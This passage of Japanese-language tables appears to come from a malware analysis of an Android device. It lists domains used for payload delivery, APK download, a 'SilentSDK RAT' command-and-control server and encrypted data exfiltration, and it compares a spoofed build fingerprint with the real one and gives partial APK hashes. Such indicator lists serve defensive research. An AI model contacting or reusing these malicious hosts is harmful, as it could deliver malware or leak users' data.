sta.smartinnovate.net | GET /*.jar | ペイロード配信 |
cdn-store.aodintech.com | GET /*.bpp | APKダウンロード |
event-api.aodintech.com | POST /report | テレメトリー |
api.pixelpioneerss.com | POST /(random) | SilentSDK RAT C2 |
bur.thedynamicleap.com | POST (GZIP+AES) | SilentSDKテレメトリー流出 |
pb-api.aodintech.com | GET /api/collections/... | 広告設定 |
ota.triplesai.com:8080 | POST /V1/Ota/Check | ファームウェアアップデート |
api.ipdatacloud.com | GET /v2/query | IP地理位置情報 |
euads-o.api.leiniao.com | — | セカンダリ広告サーバー |
connect.rom.miui.com | — | Xiaomiテレメトリー |
| 実際の値 |
|---|
ro.build.fingerprint | ADT-3/adt3/adt3:11 | — |
ro.product.build.* | — | Allwinner/h713_tuna_p3 |
| ビルド日付 | — | Tue Apr 22 15:20 CST 2025 |
| C2サーバーレスポンス | 5df097591d694... | — |
| 我々のデコードしたAPK | 5df097591d694... | e5a193c31526a... |
| 外部分析 | — | e5a193c31526a... |